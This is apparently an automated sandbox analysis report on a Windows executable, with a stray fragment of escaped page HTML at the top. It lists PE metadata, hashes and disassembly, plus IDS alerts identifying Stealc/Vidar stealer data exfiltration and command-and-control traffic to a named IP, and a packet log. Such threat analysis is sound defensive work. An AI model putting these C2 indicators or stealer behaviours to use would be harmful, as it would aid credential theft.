Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.249445729642779
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	aD7D9fkpII.exe
File size:	406'528 bytes
MD5:	6b3fbdaf99ece34f12dc443f1c630812
SHA1:	6c553ac99295ba2d02d6aadfc71073d62b2dc414
SHA256:	68c5557aaa47968336253c86db39f8526d677dc8f0357bc2122ffe3c6a7915b1
SHA512:	59539a6aff0127c0d1c6d286a0731b41b064d2b7acf7e44f67a075f0aabb88983a6041c8f2d16d43355cb9a0a372e088250269cc34fba3170ac2e9448fac7f18
SSDEEP:	6144:zcEl1dsPnmVBLJHitx+7GrgIaAMA2Ae52AuRQ1zkIFZQRhtinsoCifEI:l3sPnKB1HitY7GwruRQtkIjQRGns2fE
TLSH:	7C84AF0175508072DD6725B758BADB9E4A3EF9200B627ACFA3480CBDDF356C1A631B27
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....fg.........."..................K............@..................................T....@.................................\...P..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x414bbb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x6766D9DE [Sat Dec 21 15:08:14 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	0e4c328663ae5868d07c0edb57d0348d

Entrypoint Preview

Instruction
call 00007FABF48047DAh
jmp 00007FABF4804649h
mov ecx, dword ptr [0043D6C0h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007FABF48047D6h
test esi, ecx
jne 00007FABF48047F8h
call 00007FABF4804801h
mov ecx, eax
cmp ecx, edi
jne 00007FABF48047D9h
mov ecx, BB40E64Fh
jmp 00007FABF48047E0h
test esi, ecx
jne 00007FABF48047DCh
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0043D6C0h], ecx
not ecx
pop edi
mov dword ptr [0043D700h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [0043A5D8h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [0043A590h]
xor dword ptr [ebp-04h], eax
call dword ptr [0043A58Ch]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [0043A628h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0043EC38h
call dword ptr [0043A600h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007FABF480BE08h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3a35c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x3e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x41000	0x2114	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x367e8	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x32b78	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3a524	0x178	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2f54f	0x2f600	58bc155b094b6873a22cc988795a8d23	False	0.5124196075197889	data	6.453078444758717	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x31000	0xa9ec	0xaa00	ee0908da15a0e5d81cca81415109d13b	False	0.4196920955882353	data	4.875338264838317	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3c000	0x3400	0x2400	81d422e119a7deac089cc0743b9210da	False	0.3245442708333333	data	5.214421128212959	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x40000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x41000	0x2114	0x2200	fb9df7b78b2799ee418116907747d382	False	0.7449448529411765	data	6.477521124661293	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x44000	0x24200	0x24200	085826bb3fe7764af3d497a5048216ee	False	1.0003784602076125	data	7.998781396642679	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x3e8	0x400	883e76629c40ea5b147c1a08572cb57f	False	0.4345703125	data	3.2839644643892143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x69058	0x390	data	English	United States	0.4517543859649123

Imports

DLL	Import
KERNEL32.dll	AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile
USER32.dll	DefWindowProcW
ADVAPI32.dll	EqualPrefixSid

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T08:20:05.916706+0100	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.5	49708	188.245.216.205	443	TCP
2024-12-27T08:20:10.737976+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.5	49714	188.245.216.205	443	TCP
2024-12-27T08:20:10.738391+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	188.245.216.205	443	192.168.2.5	49714	TCP
2024-12-27T08:20:13.235322+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	188.245.216.205	443	192.168.2.5	49716	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:19:57.069482088 CET	49674	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:19:57.069497108 CET	49675	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:19:57.178695917 CET	49673	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:19:58.611156940 CET	49704	443	192.168.2.5	149.154.167.99
Dec 27, 2024 08:19:58.611203909 CET	443	49704	149.154.167.99	192.168.2.5
Dec 27, 2024 08:19:58.611265898 CET	49704	443	192.168.2.5	149.154.167.99
Dec 27, 2024 08:19:58.670008898 CET	49704	443	192.168.2.5	149.154.167.99
Dec 27, 2024 08:19:58.670039892 CET	443	49704	149.154.167.99	192.168.2.5
Dec 27, 2024 08:20:00.044853926 CET	443	49704	149.154.167.99	192.168.2.5
Dec 27, 2024 08:20:00.044960976 CET	49704	443	192.168.2.5	149.154.167.99
Dec 27, 2024 08:20:00.142205954 CET	49704	443	192.168.2.5	149.154.167.99
Dec 27, 2024 08:20:00.142220974 CET	443	49704	149.154.167.99	192.168.2.5
Dec 27, 2024 08:20:00.142620087 CET	443	49704	149.154.167.99	192.168.2.5
Dec 27, 2024 08:20:00.142700911 CET	49704	443	192.168.2.5	149.154.167.99
Dec 27, 2024 08:20:00.145229101 CET	49704	443	192.168.2.5	149.154.167.99
Dec 27, 2024 08:20:00.191330910 CET	443	49704	149.154.167.99	192.168.2.5
Dec 27, 2024 08:20:00.696801901 CET	443	49704	149.154.167.99	192.168.2.5
Dec 27, 2024 08:20:00.696831942 CET	443	49704	149.154.167.99	192.168.2.5
Dec 27, 2024 08:20:00.696870089 CET	443	49704	149.154.167.99	192.168.2.5
Dec 27, 2024 08:20:00.696902990 CET	443	49704	149.154.167.99	192.168.2.5
Dec 27, 2024 08:20:00.696903944 CET	49704	443	192.168.2.5	149.154.167.99
Dec 27, 2024 08:20:00.696903944 CET	49704	443	192.168.2.5	149.154.167.99
Dec 27, 2024 08:20:00.696973085 CET	49704	443	192.168.2.5	149.154.167.99
Dec 27, 2024 08:20:00.698987007 CET	49704	443	192.168.2.5	149.154.167.99
Dec 27, 2024 08:20:00.698995113 CET	443	49704	149.154.167.99	192.168.2.5
Dec 27, 2024 08:20:00.950082064 CET	49706	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:00.950113058 CET	443	49706	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:00.950387955 CET	49706	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:00.950675011 CET	49706	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:00.950685978 CET	443	49706	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:02.849474907 CET	443	49706	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:02.849543095 CET	49706	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:02.853455067 CET	49706	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:02.853466988 CET	443	49706	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:02.853703022 CET	443	49706	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:02.853754997 CET	49706	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:02.854127884 CET	49706	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:02.895373106 CET	443	49706	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:03.545531034 CET	443	49706	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:03.545602083 CET	443	49706	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:03.545623064 CET	49706	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:03.545660019 CET	49706	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:03.548958063 CET	49706	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:03.548976898 CET	443	49706	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:03.561300993 CET	49708	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:03.561340094 CET	443	49708	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:03.561408997 CET	49708	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:03.561599016 CET	49708	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:03.561616898 CET	443	49708	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:05.011442900 CET	443	49708	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:05.011547089 CET	49708	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:05.012176991 CET	49708	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:05.012187958 CET	443	49708	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:05.022398949 CET	49708	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:05.022408009 CET	443	49708	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:05.916699886 CET	443	49708	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:05.916779041 CET	443	49708	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:05.916874886 CET	49708	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:05.916971922 CET	49708	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:05.917114019 CET	49708	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:05.917140961 CET	443	49708	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:05.926791906 CET	49712	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:05.926845074 CET	443	49712	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:05.926928043 CET	49712	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:05.927233934 CET	49712	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:05.927251101 CET	443	49712	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:06.678767920 CET	49674	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:06.678776979 CET	49675	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:06.788119078 CET	49673	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:07.435429096 CET	443	49712	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:07.435584068 CET	49712	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:07.436306000 CET	49712	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:07.436316013 CET	443	49712	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:07.438294888 CET	49712	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:07.438301086 CET	443	49712	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:08.341195107 CET	443	49712	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:08.341221094 CET	443	49712	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:08.341255903 CET	49712	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:08.341280937 CET	443	49712	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:08.341290951 CET	49712	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:08.341310978 CET	443	49712	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:08.341320038 CET	49712	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:08.341363907 CET	49712	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:08.341562033 CET	49712	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:08.341576099 CET	443	49712	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:08.349270105 CET	49714	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:08.349292040 CET	443	49714	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:08.349361897 CET	49714	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:08.349566936 CET	49714	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:08.349577904 CET	443	49714	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:09.223690033 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 08:20:09.223789930 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:09.840936899 CET	443	49714	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:09.841005087 CET	49714	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:09.841428041 CET	49714	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:09.841437101 CET	443	49714	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:09.849483013 CET	49714	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:09.849488020 CET	443	49714	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:10.738054037 CET	443	49714	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:10.738080978 CET	443	49714	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:10.738176107 CET	49714	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:10.738208055 CET	443	49714	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:10.738221884 CET	49714	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:10.738224030 CET	443	49714	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:10.738254070 CET	49714	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:10.738281965 CET	49714	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:10.738672018 CET	49714	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:10.738688946 CET	443	49714	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:10.748255014 CET	49716	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:10.748292923 CET	443	49716	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:10.748377085 CET	49716	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:10.748594046 CET	49716	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:10.748605013 CET	443	49716	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:12.326739073 CET	443	49716	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:12.326848984 CET	49716	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:12.334491014 CET	49716	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:12.334496975 CET	443	49716	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:12.337261915 CET	49716	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:12.337272882 CET	443	49716	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:13.235168934 CET	443	49716	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:13.235230923 CET	443	49716	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:13.235348940 CET	49716	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:13.235348940 CET	49716	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:13.235606909 CET	49716	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:13.235619068 CET	443	49716	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:13.263603926 CET	49718	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:13.263633966 CET	443	49718	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:13.263710022 CET	49718	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:13.264031887 CET	49718	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:13.264045000 CET	443	49718	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:14.279726028 CET	49719	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:14.279752970 CET	443	49719	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:14.279870987 CET	49719	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:14.280191898 CET	49719	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:14.280205965 CET	443	49719	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:14.753300905 CET	443	49718	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:14.753376007 CET	49718	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:14.753906965 CET	49718	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:14.753914118 CET	443	49718	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:14.755825996 CET	49718	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:14.755834103 CET	443	49718	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:14.755860090 CET	49718	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:14.755870104 CET	443	49718	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:15.727750063 CET	443	49719	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:15.727814913 CET	49719	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:15.728794098 CET	49719	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:15.728805065 CET	443	49719	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:15.731674910 CET	49719	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:15.731683016 CET	443	49719	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:15.864809036 CET	443	49718	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:15.864870071 CET	49718	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:15.864882946 CET	443	49718	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:15.864936113 CET	49718	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:15.866357088 CET	49718	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:15.866380930 CET	443	49718	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:16.710855007 CET	443	49719	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:16.710930109 CET	443	49719	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:16.710947037 CET	49719	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:16.711069107 CET	49719	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:16.713800907 CET	49719	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:16.713809967 CET	443	49719	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:17.583762884 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:17.583813906 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:17.583950043 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:17.587086916 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:17.587100983 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:18.301007032 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:18.301048994 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:18.301194906 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:18.301429033 CET	49735	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:18.301485062 CET	443	49735	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:18.301547050 CET	49735	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:18.301800966 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:18.301820993 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:18.301974058 CET	49735	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:18.301995993 CET	443	49735	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:18.475794077 CET	49736	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:18.475858927 CET	443	49736	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:18.475965023 CET	49736	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:18.476382971 CET	49736	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:18.476402044 CET	443	49736	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:19.281964064 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:19.282232046 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:19.282269955 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:19.283204079 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:19.283287048 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:19.284801006 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:19.284872055 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:19.284972906 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:19.329765081 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:19.329801083 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:19.376535892 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.035629034 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.035958052 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.035968065 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.037029028 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.037087917 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.037450075 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.037516117 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.037879944 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.037889004 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.083682060 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.085026979 CET	443	49735	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.085313082 CET	49735	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.085340023 CET	443	49735	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.086385965 CET	443	49735	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.086446047 CET	49735	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.086827993 CET	49735	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.086880922 CET	443	49735	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.087394953 CET	49735	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.087402105 CET	443	49735	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.130491972 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.130537033 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.130600929 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.130633116 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.136699915 CET	49735	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.139118910 CET	443	49731	172.217.21.36	192.168.2.5
